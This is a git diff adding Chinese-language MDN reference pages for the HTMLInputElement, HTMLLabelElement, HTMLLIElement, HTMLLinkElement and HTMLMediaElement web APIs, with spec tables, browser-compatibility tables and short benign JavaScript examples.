{{SpecName('HTML5 W3C', "forms.html#the-input-element", "HTMLInputElement")}}{{Spec2('HTML5 W3C')}}Technically, the  tabindex and accesskey properties, as well as the blur(), click(), and focus() methods, are now defined on {{domxref("HTMLElement")}}.
+ The following properties are now obsolete: align and useMap.
+ The following properties have been added: autocomplete, autofocus, dirName, files, formAction, formEncType, formMethod, formNoValidate, formTarget, height, indeterminate, labels, list, max, min, multiple, pattern, placeholder, required, selectionDirection, selectionEnd, selectionStart, step, validationMessage, validity, valueAsDate, valueAsNumber, width, and willValidate.
+ The following methods have been added: checkValidity(), setCustomValidity(), setSelectionRange(), stepUp(), and stepDown().
{{SpecName('DOM2 HTML', 'html.html#ID-6043025', 'HTMLInputElement')}}{{Spec2('DOM2 HTML')}}The size property is now an unsigned long. The type property must be entirely given in lowercase characters.
{{SpecName('DOM1', 'level-one-html.html#ID-6043025', 'HTMLInputElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
autocomplete & autofocus properties{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
files property{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.9)}}[2]10{{CompatUnknown}}{{CompatUnknown}}
multiple property{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.2")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
indeterminate property{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
list property{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
formAction, formEncType, formMethod, formTarget properties{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(2)}}[3]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
formNoValidate, validationMessage, validity, willValidate properties and setCustomValidity() and checkValidity() methods.{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(2)}}10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
pattern, placeholder, required properties{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(2)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
height and weight properties{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(16)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
labels property{{CompatChrome(14.0)}}{{CompatNo}}{{CompatGeckoDesktop("56")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
min, max, and step for <input type="number">{{CompatVersionUnknown}}{{CompatVersionUnknown}}Experimental, and without specific UI, since {{CompatGeckoDesktop(16)}}: behind the pref dom.experimental_forms{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
stepUp and stepDown methods{{CompatUnknown}}{{CompatVersionUnknown}}Experimental since {{CompatGeckoDesktop(16)}}: behind the pref dom.experimental_forms
+
+ There are still differences with the latest spec: {{bug(835773)}}
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
min, max, and step properties for <input type="range">{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(23)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
min, max, and step properties for <input type="date">{{CompatVersionUnknown}}{{CompatVersionUnknown}}Experimental, and without specific UI, since {{CompatGeckoDesktop(20)}}: behind the pref dom.experimental_forms{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
min, max, and step properties for other date-related type values{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
mozGetFileNameArray() and mozSetFileNameArray() methods {{non-standard_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("1.9.2")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozSetFileArray() method {{non-standard_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("38")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
autocapitalize{{CompatChrome(43.0)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}[3]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
autocapitalize{{CompatNo}}{{CompatChrome(43.0)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
+
+ +

[1] Implemented in {{bug("556743")}}.

+ +

[2] The files property was made settable in Firefox 57 ({{bug(1384030)}}).

+ +

[3] In Firefox 56, the implementation has been updated so that the formAction property returns the correct form submission URL, as per spec, when the associated <input> is being used to submit a form ({{bug(1366361)}}).

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlinputelement/invalid_event/index.html b/files/zh-cn/web/api/htmlinputelement/invalid_event/index.html new file mode 100644 index 0000000000..6f1f97a94d --- /dev/null +++ b/files/zh-cn/web/api/htmlinputelement/invalid_event/index.html @@ -0,0 +1,109 @@ +--- +title: 'HTMLInputElement: invalid event' +slug: Web/API/HTMLInputElement/invalid_event +tags: + - Constraint validation + - Event + - 事件 + - 参考 + - 提交 + - 表单 +translation_of: Web/API/HTMLInputElement/invalid_event +--- +
{{APIRef}}
+ +

若一个可提交元素在检查有效性时,不符合对它的约束条件,则会触发 invalid 事件。

+ + + + + + + + + + + + + + + + + + + + +
冒泡
可取消
接口{{DOMxRef("Event")}}
事件处理程序属性{{domxref("GlobalEventHandlers.oninvalid")}}
+ +

这个事件可用于展示提交表单时所出现的问题的概览。当表单提交时,若任一表单控件无效,则会触发 invalid 事件。对可提交元素有效性的检查是在提交父元素 {{HtmlElement("form")}} 之前或调用父元素 <form> 或元素自己的 checkValidity() 方法之后。

+ +

这个事件不会在 {{Event("blur")}} 事件中触发。

+ +

示例

+ +

如果表单提交时有无效值,检查可提交元素时发现了错误,则 invalid 事件会在那个无效元素上触发。在这个例子中,当输入无效值触发 invalid 事件时,这个无效值被记录下来。

+ +

HTML

+ +
<form action="#">
+  <ul>
+    <li><label>Enter an integer between 1 and 10: <input type="number" min="1" max="10" required></label></li>
+    <li><input type="submit" value="submit"></li>
+  </ul>
+</form><p id="log"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input')
+const log = document.getElementById('log')
+
+input.addEventListener('invalid', logValue)
+
+function logValue(e) {
+  log.textContent += e.target.value
+}
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('HTML WHATWG', 'forms.html#the-constraint-validation-api', 'Invalid event') }}{{Spec2('HTML WHATWG')}}
{{ SpecName('HTML5.1', 'sec-forms.html#the-constraint-validation-api', 'Invalid event') }}{{Spec2('HTML5.1')}}
{{ SpecName('HTML5 W3C', 'forms.html#the-constraint-validation-api', 'Invalid event') }}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLInputElement.invalid_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlinputelement/labels/index.html b/files/zh-cn/web/api/htmlinputelement/labels/index.html new file mode 100644 index 0000000000..5015d41a0d --- /dev/null +++ b/files/zh-cn/web/api/htmlinputelement/labels/index.html @@ -0,0 +1,71 @@ +--- +title: HTMLInputElement.labels +slug: Web/API/HTMLInputElement/labels +translation_of: Web/API/HTMLInputElement/labels +--- +
{{APIRef("DOM")}}
+ +

 HTMLInputElement.labels 为只读属性,它返回一个{{domxref("NodeList")}} 实例,绑定当前的{{HTMLElement("input")}} 节点的{{HTMLElement("label")}} 元素。

+ + + +

语法

+ +
var labelElements = input.labels;
+
+ +

Return value

+ +

 {{domxref("NodeList")}} 包含 <label> 元素和 <input> 元素.

+ +

实例

+ +

HTML

+ +
<label id="label1" for="test">Label 1</label>
+<input id="test"/>
+<label id="label2" for="test">Label 2</label>
+
+ +

JavaScript

+ +
window.addEventListener("DOMContentLoaded", function() {
+  const input = document.getElementById("test");
+  for(var i = 0; i < input.labels.length; i++) {
+    console.log(input.labels[i].textContent); // "Label 1" and "Label 2"
+  }
+});
+ +

{{EmbedLiveSample("Example", "100%", 30)}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "forms.html#dom-lfe-labels", "labels")}}{{Spec2("HTML WHATWG")}}No change
{{SpecName("HTML5 W3C", "forms.html#dom-lfe-labels", "labels")}}{{Spec2("HTML5 W3C")}}Initial definition
+ +

浏览器兼容

+ +
+ + +

{{Compat("api.HTMLInputElement.labels")}}

+
diff --git a/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html b/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html new file mode 100644 index 0000000000..6ba774d00e --- /dev/null +++ b/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html @@ -0,0 +1,48 @@ +--- +title: HTMLInputElement.mozSetFileNameArray +slug: Web/API/HTMLInputElement/mozSetFileNameArray +translation_of: Web/API/HTMLInputElement +--- +
+
+
+
{{APIRef("HTML DOM")}}
+
+
+{{gecko_minversion_header("1.9.2")}}
+ +

概述

+ +

设置一个HTML input元素中选中的若干文件的路径以及文件名.

+ +
注: 该方法是Gecko私有的方法,在其他浏览器中不可用,且是个特权方法,不能在普通网页中使用.
+ +

语法

+ +
inputElement.mozSetFileNameArray(aFileNames, aLength);
+
+ +

参数

+ + + +

示例

+ +
var fileArray = {"/foo/bar.txt", "/foo/foosball.txt"};
+
+inputElement.mozSetFileNameArray(fileArray, fileArray.length);
+
+ +

规范

+ +

非标准,Mozilla私有方法.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlinputelement/multiple/index.html b/files/zh-cn/web/api/htmlinputelement/multiple/index.html new file mode 100644 index 0000000000..937c52a93f --- /dev/null +++ b/files/zh-cn/web/api/htmlinputelement/multiple/index.html @@ -0,0 +1,44 @@ +--- +title: HTMLInputElement.multiple +slug: Web/API/HTMLInputElement/multiple +translation_of: Web/API/HTMLInputElement/multiple +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLInputElement.multiple 属性表示一个input是否可以有多个值。目前只有火狐支持 <input type="file">存有多个值。

+ +

实例

+ +
// fileInput is a <input type=file multiple>
+let fileInput = document.getElementById('myfileinput');
+
+if (fileInput.multiple == true) {
+
+  for (let i = 0; i < fileInput.files.length; i++) {
+    // Loop fileInput.files
+  }
+
+// Only one file available
+} else {
+  let file = fileInput.files.item(0);
+}
+
+ +

See also

+ + + +

Specification

+ + + +

Browser compatibility

+ + + +

{{Compat("api.HTMLInputElement.multiple")}}

diff --git a/files/zh-cn/web/api/htmlinputelement/select/index.html b/files/zh-cn/web/api/htmlinputelement/select/index.html new file mode 100644 index 0000000000..5da551d19f --- /dev/null +++ b/files/zh-cn/web/api/htmlinputelement/select/index.html @@ -0,0 +1,69 @@ +--- +title: HTMLInputElement.select() +slug: Web/API/HTMLInputElement/select +translation_of: Web/API/HTMLInputElement/select +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLInputElement.select() 方法选中一个 {{HTMLElement("textarea")}} 元素或者一个带有 text 字段的 {{HTMLElement("input")}} 元素里的所有内容。

+ +

语法

+ +
element.select()
+ +

示例

+ +

点击这个例子的按钮以选中所有在<input>元素中的文字

+ +

HTML

+ +
<input type="text" id="text-box" size="20" value="Hello world!">
+<button onclick="selectText()">Select text</button>
+ +

JavaScript

+ +
function selectText() {
+  const input = document.getElementById('text-box');
+  input.focus();
+  input.select();
+}
+ +

结果

+ +

{{EmbedLiveSample("示例")}}

+ +

注意

+ +

调用 element.select() 并不一定会使得该 input 元素被 focused,所以它经常和 {{domxref("HTMLElement.focus()")}} 一起使用。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', 'forms.html#dom-textarea/input-select', 'select')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLInputElement.select")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlinputelement/setselectionrange/index.html b/files/zh-cn/web/api/htmlinputelement/setselectionrange/index.html new file mode 100644 index 0000000000..1dfc53223b --- /dev/null +++ b/files/zh-cn/web/api/htmlinputelement/setselectionrange/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLInputElement.setSelectionRange() +slug: Web/API/HTMLInputElement/setSelectionRange +tags: + - API + - HTML DOM + - HTMLInputElement + - 参考 + - 文本选择 + - 方法 +translation_of: Web/API/HTMLInputElement/setSelectionRange +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLInputElement.setSelectionRange 方法用于设定{{HTMLElement("input")}} 或 {{HTMLElement("textarea")}} 元素中当前选中文本的起始和结束位置。

+ +

在较新的浏览器中,你可以通过一个可选的 selectionDirection 来指定文本选中的方向。比如通过点击和拖动从结束位置往起始位置选中一个字符串。

+ +

每次调用这个这个方法都会更新 HTMLInputElementselectionStart, selectionEnd 和 selectionDirection 属性。

+ +

要注意的是,在 WHATWG forms spec 中,selectionStartselectionEnd 属性和 setSelectionRange 方法只能应用于类型为文本、搜索、链接、电话号码和密码的输入。Chrome 从版本 33 开始会在访问其余类型的这些属性和方法时抛出异常。例如,输入类型为数字时会抛出:“不能从'HTMLInputElement'中读取'selectionStart'属性:输入元素的类型('number')不支持选择(Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection)”。

+ +

如果你希望全选输入元素中的文本,你可以使用 HTMLInputElement.select() 方法。

+ +

语法

+ +
element.setSelectionRange(selectionStart, selectionEnd [, selectionDirection]);
+ +

参数

+ +

如果 selectionEnd 小于 selectionStart,则二者都会被看作 selectionEnd

+ +
+
selectionStart
+
被选中的第一个字符的位置索引,从0开始。如果这个值比元素的 value 长度还大,则会被看作 value 最后一个位置的索引。
+
selectionEnd
+
被选中的最后一个字符的 下一个 位置索引。如果这个值比元素的value长度还大,则会被看作value最后一个位置的索引。
+
selectionDirection {{optional_inline}}
+
一个表示选择方向的字符串,可能的值有:
+
+ + + +

示例

+ +

在这个示例中,按下按钮以选择文本框中第三、四、五个字符(即“Mozilla”中的“zil”)。

+ +

HTML

+ +
<input type="text" id="text-box" size="20" value="Mozilla">
+<button onclick="selectText()">Select text</button>
+
+ +

JavaScript

+ +
function selectText() {
+  const input = document.getElementById('text-box');
+  input.focus();
+  input.setSelectionRange(2, 5);
+}
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("HTML WHATWG", "forms.html#dom-textarea/input-setselectionrange", "HTMLInputElement.setSelectionRange()")}}{{Spec2("HTML WHATWG")}}No change
{{SpecName("HTML5.1", "forms.html#dom-textarea/input-setselectionrange", "HTMLInputElement.setSelectionRange()")}}{{Spec2("HTML5.1")}}No change
{{SpecName("HTML5 W3C", "forms.html#dom-textarea/input-setselectionrange", "HTMLInputElement.setSelectionRange()")}}{{Spec2("HTML5 W3C")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLInputElement.setSelectionRange")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/htmllabelelement/index.html b/files/zh-cn/web/api/htmllabelelement/index.html new file mode 100644 index 0000000000..e1be5ef609 --- /dev/null +++ b/files/zh-cn/web/api/htmllabelelement/index.html @@ -0,0 +1,137 @@ +--- +title: HTMLLabelElement +slug: Web/API/HTMLLabelElement +translation_of: Web/API/HTMLLabelElement +--- +
{{ APIRef("HTML DOM") }}
+ +

The HTMLLabelElement interface gives access to properties specific to {{HTMLElement("label")}} elements. It inherits from {{domxref("HTMLElement")}}. 

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
accessKey{{domxref("DOMString")}}Reflects the {{htmlattrxref("accesskey", "label")}} HTML attribute.
control {{readonlyInline}}{{domxref("HTMLElement")}}The labeled control.
form {{readonlyInline}}{{domxref("HTMLFormElement")}}The form owner of this label.
htmlFor {{domxref("DOMString")}}The ID of the labeled control. Reflects the {{htmlattrxref("for", "label")}} attribute.
+ +

Methods

+ +

No specific method; inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "forms.html#the-label-element", "HTMLAnchorElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "forms.html#the-label-element", "HTMLAnchorElement")}}{{Spec2('HTML5 W3C')}}The property accessKey is now defined on {{domxref("HTMLElement")}}.
+ The following property has been added: control.
{{SpecName('DOM2 HTML', 'html.html#ID-13691394', 'HTMLLabelElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-13691394', 'HTMLLabelElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmllielement/index.html b/files/zh-cn/web/api/htmllielement/index.html new file mode 100644 index 0000000000..d545525340 --- /dev/null +++ b/files/zh-cn/web/api/htmllielement/index.html @@ -0,0 +1,76 @@ +--- +title: HTMLLIElement +slug: Web/API/HTMLLIElement +tags: + - API + - DOM + - 参考 + - 接口 +translation_of: Web/API/HTMLLIElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLLIElement 接口公开了特定的属性和方法(超出了常规 {{domxref("HTMLElement")}} 接口所定义的接口,它通过继承可用于操作列表元素。

+ +

{{InheritanceDiagram(600,120)}}

+ +

属性

+ +

从其父级 {{domxref("HTMLElement")}} 继承属性。

+ +
+
{{domxref("HTMLLIElement.type")}} {{obsolete_inline}}
+
是{{domxref("DOMString")}}表示项目符号的类型 "disc""square""circle"。由于定义列表类型的标准方法是通过 CSS {{cssxref("list-style-type")}}属性,应当使用 CSSOM 方法通过脚本设置它。
+
{{domxref( "HTMLLIElement.value")}}
+
long指示给定{{HTMLElement("ol")}}中列表元素的序号位置。它反映了HTML {{HTMLElement("li")}}元素的{{htmlattrxref("value","li")}}属性,并且可以小于0。如果{{HTMLElement("li")}}元素不是{{HTMLElement("ol")}}元素的子元素,则该属性没有意义。
+
+ +

方法

+ +

没有具体方法; 从其父级 {{domxref("HTMLElement")}} 继承属性。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG',"#htmllielement","HTMLLIElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C',"grouping-content.html#the-li-element","HTMLLIElement")}}{{Spec2('HTML5 W3C')}}以下属性现已过时:type
{{SpecName('DOM2 HTML','html.html#ID-74680021','HTMLLIElement')}}{{Spec2('DOM2 HTML')}}{{SpecName("DOM1")}}没有变化。
{{SpecName('DOM1','level-one-html.html#ID-74680021','HTMLLIElement')}}{{SPEC2( 'DOM1')}}初步定义。
+ +

浏览器兼容性

+ +
+ + +

{{COMPAT( "api.HTMLLIElement")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmllinkelement/index.html b/files/zh-cn/web/api/htmllinkelement/index.html new file mode 100644 index 0000000000..f7b3811c5c --- /dev/null +++ b/files/zh-cn/web/api/htmllinkelement/index.html @@ -0,0 +1,128 @@ +--- +title: HTMLLinkElement +slug: Web/API/HTMLLinkElement +tags: + - API + - HTML DOM + - HTMLLInkElement + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLLinkElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

The HTMLLinkElement interface represents reference information for external resources and the relationship of those resources to a document and vice-versa. This object inherits all of the properties and methods of the {{domxref("HTMLElement")}} interface.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}, and {{domxref("LinkStyle")}}.

+ +
+
 
+
{{domxref("HTMLLinkElement.as")}}
+
Is a {{domxref("DOMString")}} representing the type of content being loaded by the HTML link.
+
{{domxref("HTMLLinkElement.crossOrigin")}} {{experimental_inline}}
+
Is a {{domxref("DOMString")}} that corresponds to the CORS setting for this link element. See CORS settings attributes for details.
+
{{domxref("HTMLLinkElement.disabled")}}
+
Is a Boolean which represents whether the link is disabled; currently only used with style sheet links.
+
{{domxref("HTMLLinkElement.href")}}
+
Is a {{domxref("DOMString")}} representing the URI for the target resource.
+
{{domxref("HTMLLinkElement.hreflang")}}
+
Is a {{domxref("DOMString")}} representing the language code for the linked resource.
+
{{domxref("HTMLLinkElement.media")}}
+
Is a {{domxref("DOMString")}} representing a list of one or more media formats to which the resource applies.
+
{{domxref("HTMLLinkElement.referrerPolicy")}} {{experimental_inline}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("referrerpolicy", "link")}} HTML attribute indicating which referrer to use.
+
{{domxref("HTMLLinkElement.rel")}}
+
Is a {{domxref("DOMString")}} representing the forward relationship of the linked resource from the document to the resource.
+
{{domxref("HTMLLinkElement.relList")}} {{readonlyInline}}
+
Is a {{domxref("DOMTokenList")}} that reflects the {{htmlattrxref("rel", "link")}} HTML attribute, as a list of tokens.
+
{{domxref("HTMLLinkElement.sizes")}} {{readonlyInline}}
+
Is a {{domxref("DOMSettableTokenList")}} that reflects the {{htmlattrxref("sizes", "link")}} HTML attribute, as a list of tokens.
+
{{domxref("LinkStyle.sheet")}} {{readonlyInline}}
+
Returns the {{domxref("StyleSheet")}} object associated with the given element, or null if there is none.
+
{{domxref("HTMLLinkElement.type")}}
+
Is a {{domxref("DOMString")}} representing the MIME type of the linked resource.
+
+ +

Obsolete properties

+ +
+
{{domxref("HTMLLinkElement.charset")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing the character encoding for the target resource.
+
{{domxref("HTMLLinkElement.rev")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing the reverse relationship of the linked resource from the resource to the document. +
Note: Currently the W3C HTML 5.2 spec states that rev is no longer obsolete, whereas the WHATWG living standard still has it labeled obsolete. Until this discrepancy is resolved, you should still assume it is obsolete.
+
+
{{domxref("HTMLLinkElement.target")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing the name of the target frame to which the resource applies.
+
+ +

 

+ +

Methods

+ +

No specific method; inherits methods from its parent, {{domxref("HTMLElement")}}, and {{domxref("LinkStyle")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Preload")}}{{Spec2("Preload")}}Defines <link rel="preload">, and the as property. Note that currently Firefox only supports preloading of cacheable resources.
{{SpecName('HTML WHATWG', "semantics.html#the-link-element", "HTMLLinkElement")}}{{Spec2('HTML WHATWG')}}Adds the following properties: crossOrigin, referrerPolicy, and as.
{{SpecName('HTML5.1', "document-metadata.html#the-link-element", "HTMLLinkElement")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "document-metadata.html#the-link-element", "HTMLLinkElement")}}{{Spec2('HTML5 W3C')}}The following properties are now obsolete: charset, rev, and shape.
+ The following properties have been added: relList, and sizes.
{{SpecName('DOM2 HTML', 'html.html#ID-35143001', 'HTMLLinkElement')}}{{Spec2('DOM2 HTML')}}Added a second inheritence, the {{domxref("LinkStyle")}} interface.
{{SpecName('DOM1', 'level-one-html.html#ID-35143001', 'HTMLLinkElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.HTMLLinkElement")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmllinkelement/referrerpolicy/index.html b/files/zh-cn/web/api/htmllinkelement/referrerpolicy/index.html new file mode 100644 index 0000000000..bff3e554ec --- /dev/null +++ b/files/zh-cn/web/api/htmllinkelement/referrerpolicy/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLLinkElement.referrerPolicy +slug: Web/API/HTMLLinkElement/referrerPolicy +translation_of: Web/API/HTMLLinkElement/referrerPolicy +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

 

+ +

HTMLLinkElement.referrerPolicy 反映了 {{HTMLElement("link")}} 元素的HTML属性 {{htmlattrxref("referrerpolicy","link")}} 的定义,这个属性定义了{{HTMLElement("link")}} 元素在获取资源时的引用方式。

+ +

详情请参考HTTP header中的  {{HTTPHeader("Referrer-Policy")}} 。

+ +

 

+ +

语法

+ +
DOMString HTMLLinkElement.referrerPolicy
+ +

例子

+ +
var links = document.getElementsByTagName("link");
+links[0].referrerPolicy; // "no-referrer"
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerPolicy attribute')}}{{Spec2('Referrer Policy')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLLinkElement.referrerPolicy")}}

+ +

相关

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/abort_event/index.html b/files/zh-cn/web/api/htmlmediaelement/abort_event/index.html new file mode 100644 index 0000000000..6710b0e023 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/abort_event/index.html @@ -0,0 +1,84 @@ +--- +title: 'HTMLMediaElement: abort event' +slug: Web/API/HTMLMediaElement/abort_event +translation_of: Web/API/HTMLMediaElement/abort_event +--- +
{{APIRef}}
+ +

资源没有被完全加载时就会触发 abort 事件,但错误不会触发该事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers/onabort", "onabort")}}
+ +

示例

+ +
const video = document.querySelector('video');
+const videoSrc = 'https://path/to/video.webm';
+
+video.addEventListener('abort', () => {
+  console.log(`Abort loading: ${videoSrc}`);
+});
+
+const source = document.createElement('source');
+source.setAttribute('src', videoSrc);
+source.setAttribute('type', 'video/webm');
+
+video.appendChild(source);
+ +

规范

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "media.html#event-media-abort")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-abort")}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.abort_event")}}

+ +

参阅

+ + + +
+
+
diff --git a/files/zh-cn/web/api/htmlmediaelement/audiotracks/index.html b/files/zh-cn/web/api/htmlmediaelement/audiotracks/index.html new file mode 100644 index 0000000000..59dba0a968 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/audiotracks/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLMediaElement.audioTracks +slug: Web/API/HTMLMediaElement/audioTracks +translation_of: Web/API/HTMLMediaElement/audioTracks +--- +
{{APIRef("HTML DOM")}}
+ +

 HTMLMediaElement.audioTracks 获得可用音频轨道的数量

+ +

语法

+ +
audio|video.audioTracks
+ +

返回值

+ +

AudioTrackList    对象 表示音频/视频的可用音频轨道

+ +

用例

+ +

以audio标签为例

+ +
<audio id='audio'></audio>
+
+ +

调用

+ +
myVid=document.getElementById("audio");
+alert(myVid.audioTracks.length);
+ +

参考文档

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.audioTracks")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
+

{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.audioTracks")}}

+
{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器支持

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
